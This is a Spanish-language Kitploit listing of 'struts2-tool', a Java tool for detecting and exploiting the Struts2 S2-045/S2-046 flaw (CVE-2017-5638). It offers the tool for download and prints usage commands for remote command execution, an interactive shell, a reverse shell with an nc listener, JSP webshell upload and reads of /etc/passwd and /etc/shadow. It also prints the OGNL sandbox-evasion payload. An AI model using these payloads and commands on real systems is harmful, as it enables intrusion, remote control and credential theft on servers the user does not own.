Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 herramienta de detección y explotación | Kitploit
Herramientas/GitHubGitHub/gu-007/struts2-tool
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 herramienta de detección y explotación

Ver Repositorio
hace 14h 18mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Herramienta de Detección y Explotación de Struts2 (s2tool)

Una herramienta de detección y explotación de vulnerabilidades Struts2 S2-045 / S2-046 (CVE-2017-5638) implementada puramente en Java. El módulo de detección cubre las dos vulnerabilidades S2-045 / S2-046, el módulo de explotación proporciona ejecución de comandos, gestión de archivos, obtención de información, shell interactiva, shell inversa, carga de Webshell, etc.

Aviso legal: Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas, investigación de vulnerabilidades y fines educativos. Está estrictamente prohibido su uso para fines ilegales no autorizados; el usuario asume toda la responsabilidad legal.


Resumen de Funciones

MóduloSubcomandoDescripción
Detección de vulnerabilidadesscanDetecta S2-045 / S2-046 (verificación matemática + marcado de huella UUID)
Escaneo por lotesbatchDetecta múltiples objetivos por lotes, genera resumen e informe JSON
Ejecución de comandosexecEjecución de comandos arbitrarios del sistema + salida (adaptación automática Win/Linux)
Shell interactivashellInteracción continua, persistencia de directorio cd, comandos integrados pwd/webroot/os
Subida de archivosuploadEscritura directa OGNL (archivos pequeños) / escritura por comandos segmentados (archivos grandes)
Descarga de archivosdownloadDescarga codificada en Base64 (segura para binarios)
Directorio raíz webgetpathObtiene la ruta de despliegue físico de la aplicación web
Información del sistemasysinfoInformación de SO / usuario / kernel / directorio de trabajo
Shell inversarevshellShell inversa bash / PowerShell con un solo comando
Subida de WebshellwebshellGenera y sube JSP Webshell (estilo ?CMD= en texto plano)
Exportación de informesscan -rInformes JSON / HTML

La función de descarga puede leer archivos arbitrarios del servidor (como /etc/shadow); úsela únicamente en pruebas autorizadas.


Inicio Rápido

Requisitos del Entorno

  • JDK 8 o superior
  • Maven 3.x (solo necesario para la compilación; no se requiere Maven instalado para ejecutar la herramienta)

Compilación (Windows)

root@kitploit:~
:: Ejecutar en el directorio del proyecto
.\build.bat

En PowerShell se requiere el prefijo .\; en cmd se puede ejecutar directamente build.bat. build.bat solo se encarga de la compilación y no realiza ninguna solicitud de red ni escaneo. Después de la compilación, la ventana permanece abierta y entra en la sesión de cmd (puede ejecutar comandos de la herramienta directamente; escriba exit para cerrar). Si su entorno no puede escribir en el repositorio predeterminado de Maven, primero puede configurar la variable de entorno M2_REPO para que apunte a un directorio con permisos de escritura.

Artefacto: target\s2tool.jar (fat-jar).

Para Linux/Mac consulte build.sh

Ejemplos de Uso

root@kitploit:~
# 1. Detección de vulnerabilidades
java -jar s2tool.jar scan http://target/action

# 2. Detección + exportación de informe JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Ejecución de comandos
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Shell interactiva
java -jar s2tool.jar shell http://target/action

# 5. Obtener directorio raíz web / información del sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Subir / descargar archivos
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Subir Webshell con un solo comando (estilo ?CMD= en texto plano)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Acceso: http://target/shell.jsp?CMD=whoami

# 8. Shell inversa (primero escuche en la máquina atacante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Escaneo por lotes
java -jar s2tool.jar batch targets.txt -r json

Formato del Archivo de Objetivos por Lotes

root@kitploit:~
# Las líneas de comentario comienzan con # (se ignoran automáticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Principios Técnicos

S2-045 / S2-046 (CVE-2017-5638)

Rango de versiones del anuncio oficial (ambas vulnerabilidades se basan en los anuncios oficiales de Apache, para que el usuario evalúe si el objetivo está afectado):

VulnerabilidadCVEVersiones afectadas (versiones vulnerables)Versiones corregidas (versiones parcheadas)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 y superiores
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 y superiores

Esta herramienta no depende del juicio de versiones; determina directamente si la vulnerabilidad existe mediante los resultados de la detección con Payload, porque la identificación de versiones no es fiable (muchos sitios ocultan el número de versión). La tabla anterior es solo para su referencia en la evaluación manual; no afecta la lógica de detección de la herramienta.

Para S2-046, la herramienta admite tanto la inyección de byte nulo en filename como la ruta de detección de Content-Type con la misma causa raíz.

Principio de la vulnerabilidad:

  • Mismo punto de activación: cuando el analizador Jakarta Multipart encuentra una excepción al analizar, concatena el contenido del encabezado controlable por el usuario (S2-045: Content-Type; S2-046: filename de Content-Disposition) en el mensaje de excepción, y el mensaje de excepción se somete a evaluación OGNL a través del proceso de procesamiento de texto internacionalizado de Struts2 (TextParseUtil.translateVariables)
  • Diferente método de explotación: S2-045 se activa mediante un Content-Type ilegal; S2-046 se activa mediante byte nulo en filename (requiere commons-fileupload 1.3.3+) o Content-Length excesivamente grande (requiere configuración jakarta-stream)

Evasión del Sandbox

root@kitploit:~
(#nike='multipart/form-data')                       // Disfrazar Content-Type, pasar la verificación contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Obtener MemberAccess de máximo privilegio
(#_memberAccess?(#_memberAccess=#dm):               // Versión baja: reemplazo directo
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Limpiar lista negra de nombres de paquetes
   (#ognlUtil.getExcludedClasses().clear())          // Limpiar lista negra de clases
   (#context.setMemberAccess(#dm))))                 // Versión alta: reemplazo después de limpiar listas negras

Probado: En Struts2 2.3.30, la versión simplificada (solo setMemberAccess) no puede evadir el sandbox; se debe usar la versión completa (que incluye la ruta de limpieza de listas negras de OgnlUtil).

Estrategia de Detección

TécnicaPrincipioDescripción
Verificación matemáticaOGNL ejecuta 88888888-23333+1222, si la respuesta contiene 88866777 existeFórmula POC pública
Marcado de huella UUIDInyecta un UUID aleatorio y lo muestra en el cuerpo de la respuestaAlta precisión, no afectado por la latencia de red
Detección por retardoDiferencia de tiempo Thread.sleep(6000) (solo S2-045 como respaldo sin salida)Umbral >3.6s

Regla de determinación: si la verificación matemática o el marcado de huella aciertan → confirmado existente; solo acierta el retardo → posiblemente existente; ninguno acierta → no existente.


Estructura del Proyecto

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Compilación Maven (empaquetado shade fat-jar)
├── build.bat / build.sh           # Scripts de compilación (Windows verificado / Linux referencia)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # Entrada principal (CLI Picocli)
│   ├── core/                      # Motor central: cliente HTTP / construcción de Payload / análisis de respuestas / análisis de objetivos
│   ├── plugins/                   # Arquitectura de plugins de vulnerabilidades (puntos de extensión)
│   │   └── impl/                  #   Plugins de detección S2_045 / S2_046
│   ├── modules/                   # Módulos funcionales: programación de detección / identificación de huellas / ejecución de comandos / gestión de archivos / Shell, etc.
│   ├── report/                    # Generación de informes (consola / JSON / HTML)
│   └── utils/                     # Herramientas de registro
├── src/main/resources/            # Configuración de registro / referencia de Payload
└── src/test/                      # Pruebas unitarias JUnit

Referencias

Artículos sobre el principio de la vulnerabilidad:

  • Anuncio oficial de Apache Struts S2-045 (CVE-2017-5638)
  • Análisis de inyección OGNL S2-045 y evasión de triple sandbox (Comunidad de desarrolladores de Tencent Cloud)(Referencia de Payload)
  • Análisis del principio de la vulnerabilidad S2-046 (Anquanke)

Proyectos de código abierto de referencia (este proyecto consultó las ideas y Payloads de los siguientes repositorios durante su desarrollo):

  • Flyteas/Struts2-045-Exp —— Plantillas de Payload para ejecución de comandos / obtención del directorio raíz web / escritura de archivos JSP
  • Z-0ne/ScanS2-045-Nmap —— Ideas de detección por lotes, método de marcado de características de respuesta
  • abc123info/Struts2VulsScanTools —— Ideas de diseño general de herramientas de detección de múltiples vulnerabilidades (separación de detección y explotación)

Licencia

Solo para pruebas de seguridad autorizadas e investigación de aprendizaje.

Está estrictamente prohibido su uso para fines ilegales no autorizados; el usuario asume toda la responsabilidad legal.

Descargar herramienta